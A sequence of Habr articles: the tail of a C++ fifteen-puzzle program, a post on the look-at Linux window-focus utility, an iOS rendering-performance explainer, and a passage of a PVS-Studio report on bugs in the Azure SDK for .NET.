y = y + 1;
MyChange = true;
}
if ((MyButton == 75) && (x > 1))
{
MyBuffer = MyPyatn[(y-1)\*4 + x - 1];
MyPyatn[(y-1)\*4 + x - 1] = MyPyatn[(y-1)\*4 + x - 2];
MyPyatn[(y-1)\*4 + x - 2] = MyBuffer;
x = x - 1;
MyChange = true;
}
if ((MyButton == 77) && (x < 4))
{
MyBuffer = MyPyatn[(y-1)\*4 + x - 1];
MyPyatn[(y-1)\*4 + x - 1] = MyPyatn[(y-1)\*4 + x];
MyPyatn[(y-1)\*4 + x] = MyBuffer;
x = x + 1;
MyChange = true;
}
}
if (MyChange)
{
std::system("cls");
cout << "Играем в пятнашки: ";
for (i=0;i<16;i++)
{
if ((i %4) == 0)
{
cout << "\n";
cout << "\n";
}
if ((MyPyatn[i]<10) || (MyPyatn[i] == 16)) cout << " ";
else cout << " ";
if (MyPyatn[i] == 16) cout << "\_";
else cout << MyPyatn[i];
cout << " ";
}
cout << "\n";
cout << "\n";
cout << "Управление стрелками вверх-вниз-влево-вправо. Выход - '0' \n";
cout << "Знак \_ это пустая клетка";
}
} while(!MyGameover);
std::system("cls");
cout << "ПОБЕДА!!!";
getch();
return 0;
}
```
Другими словами язык FBD это простой и понятный язык, предназначенный для далеких от программирования людей. Программировать простые задачки на нем легко. И разобраться в принципах работы программы, написанной другим человеком тоже обычно не составляет большой проблемы.
На этом все. Надеюсь было интересно. | https://habr.com/ru/post/304416/ | null | ru | null |
# look-at — менеджер фокуса
Что такое look-at?
------------------
Это утилита, которая переключает фокус между окнами приложений из командной строки.
Зачем?
------
При работе с большим количеством открытых окон часто возникает проблема с тем, чтобы быстро переключиться в окно нужного приложения. Можно, конечно, применять сочетание клавиш Alt+Tab, но Ктулху вызвать проще. Гораздо удобнее использовать шоткаты. Например, Super+1 — и вы уже работаете с терминалом, Super+2 — и перед вами Firefox. Предлагаю вашему вниманию утилиту [look-at](https://github.com/generalov/look-at), которая даёт возможность делать это (фанаты Unity — молчать!) практически в любом десктопе, где есть [X.Org](http://www.x.org/wiki/).
Как работает?
-------------
Известно, что практически в любом десктопе, где есть X.Org, содержится программа для настройки шоткатов, которая умеет запускать приложения. (Если вы думаете, что ваш – исключение, то читайте man xbindkeys). Проблема в том, что запускаемые приложения сами не всегда понимают, что делать с открытыми окнами и по команде то создают новый экземпляр (например, gnome-terminal), то не реагируют вообще, потому что, по их мнению, все, что можно, уже давно запущено (thunderbird). В общем, ведут себя совсем не так, как вы ожидаете.
[](https://github.com/generalov/look-at)Утилита **look-at** создана для того, чтобы управлять окнами приложений быстро, точно и правильно, не прибегая к методу мышиного тыка. Она написана на популярном языке python (2.5-2.7, 3.2, pypy), и это открывает практически безграничные возможности для настройки, а также исправления багов.
Как установить?
---------------
Пакеты для пользователей Ubuntu 12.04 живут здесь:
```
sudo apt-add-repository ppa:e15/ppa
sudo apt-get update
sudo apt-get install look-at
```
Предпочитаете другие дистрибутивы? Установите wmctrl, setuptools для python и выполните команду:
```
sudo easy_install look-at
```
Пользуйтесь!
------------
Всё просто. Команда **look-at** принимает единственный аргумент — название приложения. Если оно уже запущено, то утилита переключит в окно, которое использовалось последним (если еще нет — запустит). Повторный запуск с тем же аргументом переключит в следующее окно приложения:
Теперь можете писать хитроумные скрипты, например, в поддержку техники pomodoro:
```
#!/bin/sh
WORK="gvim"
RELAX="firefox"
( while true; do look-at $WORK; sleep 25m; look-at $RELAX; sleep 5m; done ) & # =)
```
А как же быстрый доступ, спросите вы? Давайте разберёмся, как им пользоваться, на примере сompiz. Комбинации клавиш для быстрого доступа можно задать с помощью плагина «Команды», в менеджере настроек:
```
sudo apt-get install compizconfig-settings-manager
ccsm
```
Откройте вкладку «Команды» и добавьте нужные приложения:
На вкладке «Комбинации клавиш» назначьте удобные сочетания:
… и так для каждой команды.
Полезные ссылки:
----------------
GitHub: [github.com/generalov/look-at](https://github.com/generalov/look-at)
PyPI: [pypi.python.org/pypi/look-at](http://pypi.python.org/pypi/look-at/)
wmctrl: [tomas.styblo.name/wmctrl](http://tomas.styblo.name/wmctrl/)
Вопросы
-------
\* Можно-ли работать с окнами быстрее, нежели запуская wmctrl?
\* Почему на скриншотах многие видят ШГ, хотя у меня всё в порядке? | https://habr.com/ru/post/145018/ | null | ru | null |
# Оптимизация рендера в iOS: frame buffer, Render Server, FPS, CPU vs GPU
Render Loop крутится — кадры мутятся.
Доброго времени суток, уважаемые читатели. Здесь я начинаю свой цикл статей о работе с графикой в iOS.
В моих планах разобраться с работой базовых механик отрисовки и углубиться к таким вещам как AVFoundation, Metal.
Но а пока хочется понять как работает из коробки отрисовка наших любимых кнопок, которые мы не устаем красить. Как достичь 60 кадров в секунду. Магические слова, что заставят возжелать наш интерфейс любого.
* FPS
* Render Loop
* Проблемы с производительностью
* Оптимизации
Что такое FPS?
--------------
Как говорит вики — это “**Ка́дровая частота́**, **частота́ кадросме́н** — количество сменяемых кадров за единицу времени в [кинематографе](https://ru.wikipedia.org/wiki/%D0%9A%D0%B8%D0%BD%D0%B5%D0%BC%D0%B0%D1%82%D0%BE%D0%B3%D1%80%D0%B0%D1%84), [телевидении](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BB%D0%B5%D0%B2%D0%B8%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5), компьютерной графике”
Для начала запомним информацию, что дисплеи iPhone и iPad обновляются с 60 Гц. Новый iPhone 13 может и 120 Гц. Дисплеи новейших iPad Pro с частотой 120 Гц. Apple TV может соответствовать частоте обновления телевизора или воспроизводимого фильма
Дисплей с частотой обновления 60 Гц будет обновляться 60 раз в секунду. Это постоянное число.
Приложение должно иметь возможность отображать кадры с частотой отображения. Частота 60 Гц означает 60 кадров в секунду для приложения, ~16,67 мс для рендеринга кадра.
Обратите внимание, это не обязательно означает, что приложение выполняет рендеринг 60 раз в секунду. Когда содержимое не меняется, нет необходимости его перерисовывать.
Render Loop — куда же все крутится?
-----------------------------------
Render loop — это цикл отрисовки в системе iOS.
Жизненный цикл у него такой:
* Получаем событие
* Создаем render tree
* Отправляем на Render Server
* Меняем кадр
Общий цикл**Event**
Сначала происходит какое-то событие (Тач, колбэк с сети, действие с клавиатуры, таймеры)
События вызываются из любого места в иерархии.
Допустим мы хотим изменить bounds нашей вьюхи, то Core Animation вызывает метод setNeedsLayout. Система понимает, что нужно вызвать апдейт лайут реквеста.
**Commit Transaction**
происходит подготовка и сам коммитВ основе всех обновлений слоев и анимаций лежит Core Animation. Этот фреймворк работает не только внутри самого приложения, но и между другими приложениями. Когда мы переключаемся из приложения в приложение.
Сама анимация происходит в другом этапе, за рамками нашего приложения. Этот этап называется render server.
На этапе же commit transaction происходит подготовка layer tree и его неявная транзакция для обновления.
Транзакции — это механизм, который Core Animation использует для обновления свойств. Любые свойства наших слоев не изменяются мгновенно, а вместо этого подготавливаются в транзакцию и ждут своего коммита
Когда мы хотим выполнить анимацию, то сначала проходим 4 этапа:
* **Layout —** На этом этапе мы подготавливаем вьюхи, их свойства (frame, background color, border и другие)
Как только лайаут расчитался, система вызывает метод setNeedsDisplay.
* **Display —** обновляет CGContext. Это рисование может включать вызов функций drawRect, drawLayer каждых subviews
* **Prepare —** На этом этапе Core Animation готовится отправить данные анимации на render server. Здесь происходит подготовка и декодинг картинок
* **Commit —** Это заключительный этап, когда Core Animation упаковывает слои и свойства анимации и отправляет их через [Interprocess communication](https://medium.com/@ali.pourhadi/ipc-mach-message-cab64ff1b569) (IPC) на render server для отображения.
Core Animation объединяет изменения в транзакцию, кодирует их и фиксирует на render server.
Окей, мы подготовили наш render tree и отдали их следующему этапу.
---
### Render Server
Теперь мы на рендер сервере — это отдельный процесс, который вызывает методы отрисовки для GPU с использованием OpenGL или Metal. Он отвечает за рендер наших слоев в изображение
**Render Prepare**
На этом этапе происходит пробег про layer tree и мы подготавливаем layer pipeline для выполнения его на GPU. Рекурсивно пробегаясь от родительского слоя к дочернему.
**Render Execute**
После layers pipeline передан на отрисовку. Где каждый слой будет собран в финальную текстуру. До этого момента все вычисления происходили в CPU, но дальше работа перешла в руки GPU.
Некоторые слои будут отображаться дольше, чем обычные. И это чаще всего то самое бутылочное горлышко для оптимизаций.
Как только GPU выполняет отрисовку изображений, то это готово к отображению для следующего VSYNC
VSYNC — это дедлайн для каждой фазы нашего рендер лупа. Каждый VSYNC — меняет нам следующий кадр
Для достижения лучшей оптимизации каждый фрейм распараллеривается. Пока CPU читает кадр номер N, в это время GPU рендерит предыдущий кадр N-1
Мы определили что такое render loop. Теперь определим что же влияет на лаги и просадки кадров.
---
Проблемы с производительностью
------------------------------
Если мы перегрузим наше приложение или будем плохо следить за ресурсами, то можем столкнуться с такими проблемами:
* Потеря кадров
* Быстрая трата батареи
* Долгая отзывчивость
Поэтому стоит ознакомиться с советами, которые помогут решить проблему.
Как мы помним для render loop’a у нас есть операции на CPU и на GPU.
Мы уже знаем, что здесь работа устроена так, что CPU и GPU работают параллельно друг с другом. Пока CPU читает кадр номер N, в это время GPU рендерит предыдущий кадр N-1, и так далее
Перейдем к основным проблемам и узким горлышкам, которые могут повлиять на производительность
На main thread выполняется код, который отвечает за ивенты типа касания и работу с UI. Он же рендерит экран. В большинстве современных смартфонов рендеринг происходит с частотой 60 кадров в секунду. Это значит, что задачи должны выполняться за 16,67 миллисекунд (1000 миллисекунд/ 60 кадров). Поэтому ускорение работы в Main Thread — важно.
Если какая-то операция занимает больше 16,67 миллисекунд, автоматически происходит потеря кадров, и пользователи приложения заметят это при воспроизведении анимаций. На некоторых устройствах рендеринг происходит ещё быстрее, например, на iPad Pro 2017 частота обновления экрана составляет 120 Гц, поэтому на выполнение операций за один кадр есть всего 8 миллисекунд.
Offscreen Rendering
-------------------
Что же такое offscreen rendering? По своей сути — это какие-то внеэкранный расчеты.
Под капотом это выглядит следующим образом: во время прорисовки слоя, которому необходима **внеэкранные расчеты**, GPU останавливает процесс визуализации и передает управление CPU. В свою очередь, CPU выполняет все необходимые операции (например, cоздает тень) и возвращает управление GPU с уже прорисованным слоем. GPU визуализирует его и процесс прорисовки продолжается.
Кроме того, offscreen rendering требует выделения дополнительной памяти, для так называемого резервного хранилища. В то же время, она не нужна для прорисовки слоев, где используется аппаратное ускорение.
Нашему GPU потребуется дополнительная обратка в случае, если мы изменим свойства ниже:
#### Тени
Тут все просто. Рендеру не хватает информации для отрисовки тени, поэтому тут расчет тени происходит отдельно. Будет добавлен дополнительный слой. Этот слой был нарисован первым
#### Маски для CALayer
Рендерер должен отобразить поддерево слоев под маской. Но также нужно избежать перезаписи пикселей за пределами маски.
Поэтому мы будем хранить всю информацию об изображение, пока пиксели под маской не будут рассчитаны и не помещены в финальную текстуру.
Эти закадровые вычисления могут хранить множество пикселей, которые юзер никогда не увидит
#### Радиус закругления углов
Этот тип связан с маской. Закругление углов у слоя также **может** рассчитываются заэкранно.
Если рендерингу не хватает инфы, то он может отрисовать вью полностью
и скопировать инфу о пикселях внутри
Кто-то пишет не использовать параметр `cornerRadius`. Применение `viewLayer.cornerRadius` может привести к offscreen rendering. Вместо этого можно использовать класс `UIBezierPath`.
### Визуальные эффекты
Эта работа связана с двумя эффектами:
* Яркостью
* Блюр
Чтобы применить эффект рендер должен скопировать контент под визуальным эффектом в другую текстуру, что хранится в закадровом буфере. Затем применить визуальный эффект к результату и скопировать обратно в рендер буфер
Эти 4 типа закадровых расчетов сильно замедляют рендер.
Слишком большое изображение
---------------------------
Если вы пытаетесь нарисовать изображение, размер которого превышает максимальный размер текстуры, поддерживаемый GPU (обычно 2048 × 2048 или 4096 × 4096, в зависимости от устройства), для предварительной обработки изображения необходимо использовать CPU. Что может повлиять на перфоманс каждый раз при отрисовке множества таких изображений
Смешивание цветов
-----------------
Смешивание — это операция кадровой визуализации, которая определяет конечный цвет пикселя. Каждый UIView (честно говоря, CALayer) влияет на цвет конечного пикселя, на пример, в случае объединения набора таких свойств, как **alpha**, **backgroundColor**, **opaque** всех вышележащих вью
Начнем с наиболее используемых свойств UIView, таких как UIView.alpha, UIView.opaque и UIView.backgroundColor.
**Непрозрачность vs Прозрачность**
**UIView.opaque** — это подсказка для визуализатора, что позволяет рассмотреть изображения в качестве полностью непрозрачной поверхности, тем самым улучшая качество отрисовки. Непрозрачность означает: "*Ничего не рисуй под поверхностью*». UIView.opaque позволяет пропускать отрисовку нижних слоев изображения и тем самым смешивание цветов не происходит. Будет использоваться самый верхний цвет для вью.
**Alpha**
Если значение alpha меньше 1, то значение opaque будет игнорироваться, даже если оно равно **YES**.
Несмотря на то, что значение непрозрачности по умолчанию — YES, в результате мы получаем смешивание цветов, поскольку мы сделали наше изображение прозрачным, установив значение Alpha меньше 1.
Делайте слои непрозрачными, когда это возможно — при условии, что у них одинаковые цвета, которые накладываются друг на друга. У слоя есть свойство `opacity`, которому и надо выставить единицу. Всегда проверяйте, что фоновый цвет задан и он непрозрачный.
Переопределение метода drawRect
-------------------------------
Если мы переопределили метод drawRect, то мы вносим значительную нагрузку до того, как мы что-то внутри нарисовали.
Чтобы поддерживать произвольное рисование в содержимом слоя, Core Animation должен создать фоновое изображение в памяти, равное по размеру размерам вьюхи.
Затем, как только рисунок будет завершен, он должен передать эти данные через IPC на render server. Вдобавок к этим накладным расходам отрисовка Core Graphics в любом случае очень медленная, и это точно не тот случай, когда вы захотите делать в критической ситуации с производительностью.
Декодинг изображений и даунсамлинг изображений
----------------------------------------------
В общем случае, декодирование jpeg-изображений стоит делать в фоне. Большинство сторонних библиотек (AsyncDisplayKit, SDWebImage и т.д.) могут делать это по умолчанию. Если вы не хотите использовать фреймворки, то можно сделать декодирование вручную. Для этого вы можете написать расширение над `UIImage`, в котором создадите контекст и вручную отрисуете изображение.
### shouldRasterize( Rasterize )
В настоящее время Apple в значительной степени поддерживает свойство shouldRasterize. Включение этого свойства вызывает заэкранный рендеринг, но визуализированный контент будет кэшироваться, его можно повторно использовать при определенных условиях. Если это свойство используется правильно, потребление производительности может быть сведено к минимуму. Если эти условия соблюдены, вы можете использовать shouldRasterize：
* Слой и его дочерние слои должны быть статичными, потому что, как только что-то изменится, кеш становится недействительным. Если это случается часто, мы возвращаемся то каждый кадр будет нагружать систему. Это то, чего разработчики должны избегать.
На этом основные моменты работы рендер лупа и его оптимизации я описал. В дальнешем планирую статьи о фреймворках, которые работают с графикой, видео и аудио.
Подписывайтесь на мой телеграм канал: <https://t.me/iosmakemecry>
Используемый материал* <https://dmytro-anokhin.medium.com/rendering-performance-of-ios-apps-4d09a9228930>
* <https://habr.com/ru/company/e-legion/blog/415543/>
* <https://bellis1000.medium.com/exploring-the-ios-screen-frame-buffer-a-kernel-reversing-experiment-6cbf9847365>
* <https://gist.github.com/SheldonWangRJT/765f50f20d06c320d9c69eb1bf17124f>
* <https://developer.apple.com/documentation/metal/synchronization/synchronizing_cpu_and_gpu_work>
* <https://habr.com/ru/company/jugru/blog/352192/>
* <https://www.hackingwithswift.com/read/27/3/drawing-into-a-core-graphics-context-with-uigraphicsimagerenderer>
* <https://medium.com/@joncardasis/better-ios-animations-with-catransaction-72a7425673a6>
* <https://github.com/jrasmusson/swift-arcade/tree/master/Animation/CoreAnimation/Intro>
* <https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/CoreAnimation_guide/CoreAnimationBasics/CoreAnimationBasics.html#//apple_ref/doc/uid/TP40004514-CH2-SW3>
* <https://developer.apple.com/videos/play/tech-talks/10857/>
* <https://habr.com/ru/post/345178/>
* <https://developer.apple.com/videos/play/tech-talks/10855> | https://habr.com/ru/post/647177/ | null | ru | null |
# Azure SDK for .NET: Story about a Difficult Error Search
When we decided to search for errors in the Azure SDK for .NET project, we were pleasantly surprised by its size. «Three and a half million lines of code,» we kept saying, studying the project's statistics. There might be so many findings. Alas and alack! The project turned out to be crafty. So what was the zest of the project and how it was checked — read in this article.
About the project
-----------------
I'm writing this article following up my previous one, which was also about a project related to Microsoft Azure: [Azure PowerShell: Mostly Harmless](https://www.viva64.com/en/b/0678/). So, this time I was betting on a solid number of diverse and interesting errors. After all, project size is a very important factor in terms of static analysis, in particular when checking a project for the first time. In fact, in practice, one-time checks application isn't the right approach. Nevertheless, if developers go for it, it only takes place at the stage of analyzer introduction. At the same time, no one works their butt off sorting out the enormous number of warnings and just dally them off as technical debt using mass warning suppressing mechanisms and storing them in special bases. Speaking of which, having a great number of warnings is fine when running the analyzer for the first time. As for us, we go for one-time checks for research purposes. For this reason, large projects are always more preferable for the following analysis as compared with small ones.
However, the Azure SDK for .NET project immediately proved to be an unviable test bed. Even its impressive size didn't help, but rather complicated working on it. The reason is given in the following project statistics:
* .cs source files (not including tests): 16 500
* Visual Studio Solutions (.sln): 163
* Non-empty lines of code: 3 462 000
* Of these auto-generated: about 3,300,000
* The project repository is available on [GitHub](https://github.com/Azure/azure-sdk-for-net).
Approximately 95% of the code is generated automatically, and much of that code is repeated many times. Checking such projects with a static analyzer is usually time-consuming and useless, as there is a lot of workable, but illogical (at least at a first glance) and redundant code. This leads to a great number of false positives.
All that amount of code scattered all over 163 Visual Studio solutions became the «cherry on top». It took some efforts to check the remaining code (not auto-generated). What really helped was the fact that all auto-generated code was stored in solutions subdirectories by the relative path "\src\Generated". Also each .cs file of such type contains a special comment in the tag :
```
//
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License. See License.txt in the project root for
// license information.
//
// Code generated by Microsoft (R) AutoRest Code Generator.
// Changes may cause incorrect behavior and will be lost if the code is
// regenerated.
//
```
For the purity of the experiment, I patchily checked about ten randomly selected auto-generated solutions. I'll tell about the result later.
So, despite the small amount of remaining «honest» code, I still managed to find a number of errors from what remained. This time I'm not going to cite warnings in the order of PVS-Studio diagnostics' codes. Instead, I'll group the messages on the solutions in which they've been found.
Well, let's see what I managed to find in the Azure SDK for .NET code.
Microsoft.Azure.Management.Advisor
----------------------------------
This is one of many solutions that contains auto-generated code. As I said earlier, I randomly checked about a dozen of such solutions. In each case, warnings were the same, and, as expected, useless. Here is a couple of examples.
[V3022](https://www.viva64.com/en/w/v3022/) Expression 'Credentials != null' is always true. AdvisorManagementClient.cs 204
```
// Code generated by Microsoft (R) AutoRest Code Generator.
....
public ServiceClientCredentials Credentials { get; private set; }
....
public AdvisorManagementClient(ServiceClientCredentials credentials,
params DelegatingHandler[] handlers) : this(handlers)
{
if (credentials == null)
{
throw new System.ArgumentNullException("credentials");
}
Credentials = credentials;
if (Credentials != null) // <=
{
Credentials.InitializeServiceClient(this);
}
}
```
Obviously, this code is redundant and the *Credentials != null* check is pointless. Nevertheless, the code works. And is auto-generated. For this reason, no complaints here.
[V3022](https://www.viva64.com/en/w/v3022/) Expression '\_queryParameters.Count > 0' is always false. ConfigurationsOperations.cs 871
```
// Code generated by Microsoft (R) AutoRest Code Generator.
....
public async Task>>
ListBySubscriptionNextWithHttpMessagesAsync(....)
{
....
List \_queryParameters = new List();
if (\_queryParameters.Count > 0)
{
....
}
....
}
```
Again, it seems like an illogical construction. For some reason, code authors check the size of the newly created *empty* list. In fact, it's all correct. At this point, the check makes no sense, but in case if developers add list generation, for example, based on another collection, the check will definitely be worth-while. Again — no claims to the code, of course, with regards to its origin.
Hundreds of similar warnings have been issued for each auto-generated solution. Given their futility, I think there is no point in further discussing such cases. Next, only real errors in the «normal» code will be considered.
Azure.Core
----------
[V3001](https://www.viva64.com/en/w/v3001/) There are identical sub-expressions 'buffer.Length' to the left and to the right of the '<' operator. AzureBaseBuffersExtensions.cs 30
```
public static async Task WriteAsync(...., ReadOnlyMemory buffer, ....)
{
byte[]? array = null;
....
if (array == null || buffer.Length < buffer.Length) // <=
{
if (array != null)
ArrayPool.Shared.Return(array);
array = ArrayPool.Shared.Rent(buffer.Length);
}
if (!buffer.TryCopyTo(array))
throw new Exception("could not rent large enough buffer.");
....
}
```
The error in the condition was probably the result of copy-paste. According to the fact that *buffer* is copied in *array*, the check should look like:
```
if (array == null || array.Length < buffer.Length)
```
Anyway, as I always say, the code author should deal with fixing such errors.
[V3083](https://www.viva64.com/en/w/v3083/) Unsafe invocation of event '\_onChange', NullReferenceException is possible. Consider assigning event to a local variable before invoking it. ClientOptionsMonitor.cs 44
```
private event Action \_onChange;
....
private void InvokeChanged(....)
{
....
if (\_onChange != null)
{
\_onChange.Invoke(options, name);
}
}
```
Not critical, but an error is here. The consumer might unsubscribe from the event between checking the event for *null* and its invocation. Then the *\_onChange* variable will be *null* and an exception will be thrown. This code has to be rewritten in a safer way. For example, as follows:
```
private void InvokeChanged(....)
{
....
_onChange?.Invoke(options, name);
}
```
Azure.Messaging.EventHubs
-------------------------
[V3080](https://www.viva64.com/en/w/v3080/) Possible null dereference. Consider inspecting 'eventPropertyValue'. AmqpMessageConverter.cs 650
```
private static bool TryCreateEventPropertyForAmqpProperty(
object amqpPropertyValue,
out object eventPropertyValue)
{
eventPropertyValue = null;
....
switch (GetTypeIdentifier(amqpPropertyValue))
{
case AmqpProperty.Type.Byte:
....
case AmqpProperty.Type.String:
eventPropertyValue = amqpPropertyValue;
return true;
....
}
....
switch (amqpPropertyValue)
{
case AmqpSymbol symbol:
eventPropertyValue = ....;
break;
case byte[] array:
eventPropertyValue = ....;
break;
case ArraySegment segment when segment.Count == segment.Array.Length:
eventPropertyValue = ....;
break;
case ArraySegment segment:
....
eventPropertyValue = ....;
break;
case DescribedType described when (described.Descriptor is AmqpSymbol):
eventPropertyValue = ....;
break;
default:
var exception = new SerializationException(
string.Format(...., eventPropertyValue.GetType().FullName)); // <=
....
}
return (eventPropertyValue != null);
}
```
Let's see what happens with the *eventPropertyValue* variable value in the given code fragment. The variable is assigned *null* at the beginning of the method. Further, in one of the first *switch* conditions, the variable is initialized, after which the method exits. The second *switch* block contains many conditions, in each of which the variable also receives a new value. Whereas in the *default* block, the *eventPropertyValue* variable is used without any check, which is a mistake, as the variable is *null* at this moment.
[V3066](https://www.viva64.com/en/w/v3066/) Possible incorrect order of arguments passed to 'EventHubConsumer' constructor: 'partitionId' and 'consumerGroup'. TrackOneEventHubClient.cs 394
```
public override EventHubConsumer CreateConsumer(....)
{
return new EventHubConsumer
(
new TrackOneEventHubConsumer(....),
TrackOneClient.EventHubName,
partitionId, // <= 3
consumerGroup, // <= 4
eventPosition,
consumerOptions,
initialRetryPolicy
);
}
```
The analyzer suspected confused order of the third and fourth arguments when calling the *EventHubConsumer* class constructor. So let's check this constructor declaration out:
```
internal EventHubConsumer(TransportEventHubConsumer transportConsumer,
string eventHubName,
string consumerGroup, // <= 3
string partitionId, // <= 4
EventPosition eventPosition,
EventHubConsumerOptions consumerOptions,
EventHubRetryPolicy retryPolicy)
{
....
}
```
Indeed, arguments are mixed up. I would venture to suggest how the error was made. Perhaps, incorrect code formatting is to blame here. Just take another look at the *EventHubConsumer* constructor declaration. Due to the fact that the first *transportConsumer* parameter is on the same line with the class name, it may seem that the *partitionId* parameter is at the third place, not the fourth (my comments with the parameter numbers are not available in the original code). That's just a guess, but I'd change the constructor code formatting to the following:
```
internal EventHubConsumer
(
TransportEventHubConsumer transportConsumer,
string eventHubName,
string consumerGroup,
string partitionId,
EventPosition eventPosition,
EventHubConsumerOptions consumerOptions,
EventHubRetryPolicy retryPolicy)
{
....
}
```
Azure.Storage
-------------
[V3112](https://www.viva64.com/en/w/v3112/) An abnormality within similar comparisons. It is possible that a typo is present inside the expression 'ContentLanguage == other.ContentEncoding'. BlobSasBuilder.cs 410
```
public struct BlobSasBuilder : IEquatable
{
....
public bool Equals(BlobSasBuilder other) =>
BlobName == other.BlobName &&
CacheControl == other.CacheControl &&
BlobContainerName == other.BlobContainerName &&
ContentDisposition == other.ContentDisposition &&
ContentEncoding == other.ContentEncoding && // <=
ContentLanguage == other.ContentEncoding && // <=
ContentType == other.ContentType &&
ExpiryTime == other.ExpiryTime &&
Identifier == other.Identifier &&
IPRange == other.IPRange &&
Permissions == other.Permissions &&
Protocol == other.Protocol &&
StartTime == other.StartTime &&
Version == other.Version;
}
```
A mistake made by inattention. Finding such an error with code review is quite difficult. Here is the correct version of code:
```
....
ContentEncoding == other.ContentEncoding &&
ContentLanguage == other.ContentLanguage &&
....
```
[V3112](https://www.viva64.com/en/w/v3112/) An abnormality within similar comparisons. It is possible that a typo is present inside the expression 'ContentLanguage == other.ContentEncoding'. FileSasBuilder.cs 265
```
public struct FileSasBuilder : IEquatable
{
....
public bool Equals(FileSasBuilder other)
=> CacheControl == other.CacheControl
&& ContentDisposition == other.ContentDisposition
&& ContentEncoding == other.ContentEncoding // <=
&& ContentLanguage == other.ContentEncoding // <=
&& ContentType == other.ContentType
&& ExpiryTime == other.ExpiryTime
&& FilePath == other.FilePath
&& Identifier == other.Identifier
&& IPRange == other.IPRange
&& Permissions == other.Permissions
&& Protocol == other.Protocol
&& ShareName == other.ShareName
&& StartTime == other.StartTime
&& Version == other.Version
;
```
There is exactly the same error in a very similar piece of code. The code might have been copied and partially changed. But the error remained.
Microsoft.Azure.Batch
---------------------
[V3053](https://www.viva64.com/en/w/v3053/) An excessive expression. Examine the substrings 'IList' and 'List'. PropertyData.cs 157
[V3053](https://www.viva64.com/en/w/v3053/) An excessive expression. Examine the substrings 'List' and 'IReadOnlyList'. PropertyData.cs 158
```
public class PropertyData
{
....
public bool IsTypeCollection => this.Type.Contains("IList") ||
this.Type.Contains("IEnumerable") ||
this.Type.Contains("List") || // <=
this.Type.Contains("IReadOnlyList"); // <=
}
```
The analyzer issued two warnings about pointless or erroneous checks. In the first case, search for the «List» substring after searching for «IList» looks redundant. It's true, this condition:
```
this.Type.Contains("IList") || this.Type.Contains("List")
```
can be well changed for the following:
```
this.Type.Contains("List")
```
In the second case, search for the «IReadOnlyList» substring is pointless, as previously a shorter substring «List» is searched for.
There is also a chance that search substrings themselves have errors and there should be something else. Anyway, only the code author is to suggest the correct code version taking into account both comments.
[V3095](https://www.viva64.com/en/w/v3095/) The 'httpRequest.Content.Headers' object was used before it was verified against null. Check lines: 76, 79. BatchSharedKeyCredential.cs 76
```
public override Task ProcessHttpRequestAsync(
HttpRequestMessage httpRequest, ....)
{
....
signature.Append(httpRequest.Content != null
&& httpRequest.Content.Headers.Contains("Content-Language") ? .... :
....;
long? contentLength = httpRequest.Content?.Headers?.ContentLength;
....
}
```
The *httpRequest.Content.Headers* variable is first used without any checks, but later it is addressed using the conditional access operator.
[V3125](https://www.viva64.com/en/w/v3125/) The 'omPropertyData' object was used after it was verified against null. Check lines: 156, 148. CodeGenerationUtilities.cs 156
```
private static string GetProtocolCollectionToObjectModelCollectionString(
...., PropertyData omPropertyData, ....)
{
if (IsMappedEnumPair(omPropertyData?.GenericTypeParameter, ....))
{
....
}
if (IsTypeComplex(omPropertyData.GenericTypeParameter))
....
}
```
And here is a reverse situation. One code block contains safe access variant to the *omPropertyData* potentially null reference. Further in the code, this reference is handled without any checks.
[V3146](https://www.viva64.com/en/w/v3146/) Possible null dereference of 'value'. The 'FirstOrDefault' can return default null value. BatchSharedKeyCredential.cs 127
```
public override Task
ProcessHttpRequestAsync(HttpRequestMessage httpRequest, ....)
{
....
foreach (string canonicalHeader in customHeaders)
{
string value = httpRequest.Headers.
GetValues(canonicalHeader).FirstOrDefault();
value = value.Replace('\n', ' ').Replace('\r', ' ').TrimStart();
....
}
....
}
```
Due to the *FirstOrDefault* method, if the search fails, the default value will be returned, which is *null* for the *string* type. The value will be assigned to the *value* variable, which is then used in the code with the *Replace* method without any checks. The code should be made safer. For example, as follows:
```
foreach (string canonicalHeader in customHeaders)
{
string value = httpRequest.Headers.
GetValues(canonicalHeader).FirstOrDefault();
value = value?.Replace('\n', ' ').Replace('\r', ' ').TrimStart();
....
}
```
Microsoft.Azure.ServiceBus
--------------------------
[V3121](https://www.viva64.com/en/w/v3121/) An enumeration 'BlocksUsing' was declared with 'Flags' attribute, but does not set any initializers to override default values. Fx.cs 69
```
static class Fx
{
....
public static class Tag
{
....
[Flags]
public enum BlocksUsing
{
MonitorEnter,
MonitorWait,
ManualResetEvent,
AutoResetEvent,
AsyncResult,
IAsyncResult,
PInvoke,
InputQueue,
ThreadNeutralSemaphore,
PrivatePrimitive,
OtherInternalPrimitive,
OtherFrameworkPrimitive,
OtherInterop,
Other,
NonBlocking,
}
....
}
....
}
```
The enumeration is declared with the *Flags* attribute. At the same time, constant values are left by default (*MonitorEnter = 0*, *MonitorWait = 1*, *ManualResetEvent = 2* and so on). This may result in the following case: when trying to use flags combination, for example, the second and the third constants *MonitorWait (=1)* | *ManualResetEvent (=2)*, not a unique value will be received, but the constant with the value 3 by default *(AutoResetEvent*). This may come as a surprise for the caller code. If the *BlocksUsing* enumeration is really to be used for setting flags combinations (bit field), constants should be given values, equal to number that are powers of two.
```
[Flags]
public enum BlocksUsing
{
MonitorEnter = 1,
MonitorWait = 2,
ManualResetEvent = 4,
AutoResetEvent = 8,
AsyncResult = 16,
IAsyncResult = 32,
PInvoke = 64,
InputQueue = 128,
ThreadNeutralSemaphore = 256,
PrivatePrimitive = 512,
OtherInternalPrimitive = 1024,
OtherFrameworkPrimitive = 2048,
OtherInterop = 4096,
Other = 8192,
NonBlocking = 16384,
}
```
[V3125](https://www.viva64.com/en/w/v3125/) The 'session' object was used after it was verified against null. Check lines: 69, 68. AmqpLinkCreator.cs 69
```
public async Task> CreateAndOpenAmqpLinkAsync()
{
....
AmqpSession session = null;
try
{
// Create Session
....
}
catch (Exception exception)
{
....
session?.Abort();
throw AmqpExceptionHelper.GetClientException(exception, null,
session.GetInnerException(), amqpConnection.IsClosing());
}
....
}
```
Pay attention to the *session* variable handling in the *catch* block. The *Abort* method is called safely by the conditional access operator. But after the *GetInnerException* method is called unsafely. In doing so, *NullReferenceException* might be thrown instead of an exception of the expected type. This code has to be fixed. The *AmqpExceptionHelper.GetClientException* method supports passing the *null* value for the *innerException* parameter:
```
